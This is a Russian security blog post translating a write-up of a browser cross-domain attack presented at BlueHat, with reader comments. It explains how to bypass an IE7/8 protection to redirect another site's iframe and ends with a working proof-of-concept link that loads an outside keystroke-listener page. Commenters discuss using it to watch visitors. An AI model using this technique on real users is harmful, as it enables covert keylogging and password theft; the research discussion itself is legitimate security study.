Вы верите в призраков?

Довольно любопытный пост недавно появился на GNUCITIZEN. В нем рассказывается о новом способе слежения за пользователями, с помощью которого вполне реально создать настоящий веб кейлоггер, активизирующийся после нажатия по обычной ссылке. Ссылка, естественно, не простая 😉 Итак, вот мой перевод поста.

Существует несколько конференций, которые проводятся закрыто, и их уровень обычно довольно высок. Одной из них является конференция BlueHat, которую проводит Microsoft. BlueHat – это внутреннее мероприятие MS, однако компания приглашает множество специалистов по безопасности со всего мира. Вместе с парой моих друзей я присутствовал на ней, и, несомненно, она оказалось довольно занимательной. Особенно нас заинтересовала речь Мануэля Кабаллеро (Manuel Caballero), которая была презентована под названием «Житель в моем домене» («A resident in my domain»). Анонс его выступления был по-настоящему интригующим:

Вы верите в приведения? Представьте невидимый скрипт, который бесшумно следует за Вами, в то время как Вы посещаете страницы в интернете, даже после того, как Вы сменили адрес тысячу раз, чувствуя себя в совершенной безопасности. Теперь представьте, что приведение способно видеть все, что Вы делаете, включая, страницы, которые Вы посещаете, набираемый Вами текст (включая пароли), и даже предугадать Ваш следующий шаг.

Не требуется никаких загрузок, не нужны подтверждения пользователя и ActiveX. Другими словами: никаких дописываемых строк. Мы изучим силу скриптов- резидентов (resident scripts) и силу глобального междомена (global cross-domain). Также мы исследуем методы обнаружения междоменов и скриптов-резидентов.

Очевидно, что Кабаллеро нашел метод захвата нажатий клавиш и расположений окон. Это означает, что «по крайней мере» он может изменять document.onkeydown и читать window.location, однако, если бы он мог изменять document.onkeydown, это бы значило, что у него есть доступ к исполнению произвольного кода в контексте других доменов, но это не так, иначе он мог бы не просто захватывать нажатия клавиш, но и выполнить атаку вида UXSS (Universal XSS*) на браузер.

Примечание: Universal XSS отличается от обычной XSS тем, что уязвимость заключается не в веб-приложении, а в самом браузере.

В любом случае, две вещи, которыми, по его заявлению, он способен манипулировать, также могут быть взяты под контроль iframe’ом, расположенным на стороннем домене. Таким образом, если у нас есть возможность произвольного изменения местоположения iframe’а, то мы сможем захватывать нажатия клавиш в нашем собственном окне. Итак, нам нужен способ изменения адреса iframe’а, но прежде всего нам нужно получить ссылку на окно, где сидит наш iframe. Существует два основных способа получения ссылки на окно:

x=open().window
x=window.opener

Оба варианта требуют от пользователя открытия нового окна, они работают практически одинаково. Если Вам удастся заставить пользователя открыть новое окно, то перемещения пользователя не будут иметь значения (если оба окна остаются открытыми; в любом случае, если пользователь их закрыл, то вы можете снова их открыть и задействовать событие onblur), и вы получите контроль над окнами. Итак, каким образом мы сможем это сделать? Нам нужна ссылка на iframe. Для этого есть следующие способы:

document.getElementsByTagName("iframe") { /*не работает на междоменных вызовах*/ }
window.frames[] { /*работает на междоменных вызовах*/ }

Теперь нам необходимо просто изменить location. Ничего особенного, банальное присвоение window.opener.frames[0].location=»new location» должно работать. Однако на свежих версиях IE7 и IE8 этот метод не работает. Когда вы попробуете выполнить такой код, браузер откроет новое окно, не изменив location iframe’а.

После некоторых тестов, нам удалось изменить location , но только в том случае, когда его значение не является строкой. У нас есть следующие варианты:

window.opener.frames[0].location=123;
window.opener.frames[0].location=window;
window.opener.frames[0].location=location;

Отлично работает! Но почему? Судя по всему, IE7&8 имеют защиту против установки значений location сторонними скриптами, и ее суть заключается в следующем: «если установленное значение location является строкой, то выдаем ошибку». Не хорошо! У нас есть множество способов для того, чтобы заставить строку выглядеть как объект. Например:

new String("some-string");
{toString:function(){return "some-string";}}
new function(){this.toString=function(){return "some-string";}}

С помощью данных трюков мы можем обойти ограничения IE и установить произвольное значение location без каких-либо проблем. И финальный код эксплоита выглядит так:

<a href="javascript:x=open('http://hackademix.net/');setInterval(function(){try{x.frames[0].location={toString:function(){return 'http://www.sirdarckcat.net/caballero-listener.html';}}}catch(e){}},5000);void(1);">Click me!</a>

Все что делает caballero-listener.html – это всего-навсего фокусирование на себя, поэтому этот скрипт может ловить событие onkeydown. Существует множество способов реализации этого кода в более скрытном режиме.


19 комментариев

  1. Pento, 24. мая 2008, 1:07

    Что-то уж больно расплывчата идея…а PoC уже есть?

     
  2. Kuzya, 24. мая 2008, 8:09

    Помню как-то подобную вещь сделать пытался, только вот в масштабах одного домена =)

     
  3. Raz0r, 24. мая 2008, 11:59

    >Что-то уж больно расплывчата идея…а PoC уже есть?
    Pento, сплоит в самом конце статьи; код, перезаписывающий onkeydown расположен здесь:
    http://www.sirdarckcat.net/caballero-listener.html

     
  4. Makaka, 27. августа 2008, 13:11

    >Существует множество способов реализации этого кода в более скрытном режиме.

    Очень интересно было бы почитать

     
  5. Александр, 29. ноября 2009, 6:47

    Да уж… А можно по-подробнее…. Как это работает?

     
  6. Александр, 29. ноября 2009, 13:05

    А можно по-подробнее? Выходит, что если этот скрипт установлен, скажем, на моей страничке в Интернете, то я могу отслеживать нажатие клавишь и передвижение того, кто заходил на мою страничку?

     
  7. INVENT, 29. ноября 2009, 14:45

    Хм, было бы интересно кстати собрать список тех методов/обьектов — что все-таки работают cross-domain. Про window.opener.frames[] — узнал впервые, спасибо. Это охуенно…
    До этого, думал что location-ом все ограничивается 🙂

     
  8. Александр, 30. ноября 2009, 6:39

    Вот, нашёл ещё несколько примеров на эту тему: http://www.ph4nt0m.org-a.googlepages.com/PSTZine_0x02_0x04.txt

     
  9. Александр, 30. ноября 2009, 6:43

    А как всё же, это применить? Какой именно код я должен разместитьь на своей страничке? И как я могу отслеживать передвижения и нажатие клавишь того, кто заходил на мою страничку с кодом? Я-то что должен сделать? Находиться на совей страничке? И как я могу наблюдать за передвижениями объекта, т.е. того, кто заходил на мою страничку?

     
  10. INVENT, 30. ноября 2009, 13:19

    Ну смотри, как это понимаю я:
    1) На своей странице, ты размещаешь javascript window.open линк на допустим http://yandex.ru/, причем ты знаешь что на Яндексе есть рекламный ифрейм, находящийся в массиве frames под номером 5.
    2) После открытия окна, ты обращаешься к нему, и можешь(с какого х непонятно только) поменять location в нужном тебе фрейме(frames[5]), на свой сайт, в котором уже собсно стоит кейлоггер.
    3) Либо можно через тот-же location, заинжектить в открываемое окно скрипт с помощью location = ‘javascript:blabla’

     
  11. Александр, 1. декабря 2009, 6:01

    Да уж… Чот я совсем значит не врубился… Дык, ещё и прогу, то бишь, кейлогер надо на сайт установить?! И он, типа, будет всё в лог записывать… А я-то думал, что отслеживание происходит в реальном времени… А автор, то бишь, raz0r, тут что ли ваще не появляется?

     
  12. Александр, 1. декабря 2009, 6:27

    К стати, шарил тут один сайт на уязвимость xss, а шарил расширением «xss me» для Firefox, и вот одна из уязвимостей:
    The unencoded attack string was found in the html of the document. Other browsers may be vulnerable to this XSS string.
    Tested value:
    Перевод, примерно, такой, что другие браузеры, кроме, Firefox, могут быть подвержены xss-атаке… Хотя, я пока слабо в этом разбираюсь, то бишь, в xss… Начинающий… Мож кто растолкует, что не так…

     
  13. INVENT, 1. декабря 2009, 11:59

    Думаю, ты найдешь ответ тут:
    http://ha.ckers.org/xss.html

     
  14. Александр, 10. декабря 2009, 21:29

    Наткнулся вот, на такую информацию, ссылка: https://addons.mozilla.org/ru/firefox/addon/11802?src=api, а вот и сама инфа:
    WebShadow — плагин, который позволяет общаться с теми, кто в данный момент просматривает тот же сайт, что и вы)))) такого еще не было))) Там все просто,
    открываете файл с помощью firefox, когда он перезапустится, заходите например на гугл, справа внизу находите кнопочку WS и кликаете — дальше придумываете
    и ЗАПОМИНАЕТЕ (потому что пароли шифруются невосстанвимо!) ник и пароль и входите в Тень гугла!!! Если кто-то есть в онлайне — им можно приватно написать
    (выбрать их в выпадающем списке) или прямо все в рум! вот! ))) сверху может быть и ваша реклама))) Чтобы запустить WebShadow на других сайтах — закрываем
    его той же кнопочкой WS заходим на нужный сайт и снова запускаем WS)) все просто!!!

    Новая версия WebShadow2.01 !!! Все переведено на Flash. И теперь аддон будет извещать Вас о том, что на сайте где Вы сейчас есть пользователи в онлайн!!!
    Еще больше возможностей! Настройка громкости звуковых оповещений! Удобный приват! Встроена ссылка для удобства передачи любых файлов Вашим друзьям по P2P
    прямо из браузера в браузер! И эт только начало! ))))

    Комментарии разработчика

    http://mac.softpedia.com/progClean/WebShadow-Clean-67767.html
    Пожалуйста, сообщайте об обнаруженных багах…

     
  15. Александр, 10. декабря 2009, 22:02

    Уважаемый модератор, а за что же меня на модерацию-то поставили? Я что-то не то написал? Вы поясните, пожалуйста. Чего же я мог такого написатьь-то? И ума не приложу… Я ж чайник в этих делах. Или, по-вашему мнению, чайникам здесь не место? А как же тогда начинать? Разве Вы сразу всё и обо всём знали? Вы же тоже как-то начинали… И спрашивали, и Вам отвечали…

     
  16. Raz0r, 10. декабря 2009, 23:19

    Уверяю ничего подобного не делал 🙂 это все wordpress. Предполагаю, что он запоминает имейл и ip-адрес, который вы, судя по всему, сменили. И кстати спасибо за развитие темы

     
  17. Александр, 11. декабря 2009, 14:51

    Извиняюсь за, может быть, излишнюю эмоциональность сообщения… К стати, в сообщении:»Александр, 1. Декабрь 2009, 6:27
    «, была удалена часть, которая следует за двоеточием. Вот, кусок:
    The unencoded attack string was found in the html of the document. Other browsers may be vulnerable to this XSS string.
    Tested value:

     
  18. Александр, 11. декабря 2009, 14:53

    Блин! Кто-нить видит текст после двоеточия?

     
  19. Александр, 11. декабря 2009, 14:54

    Она опять изчезла!

     

Write a comment: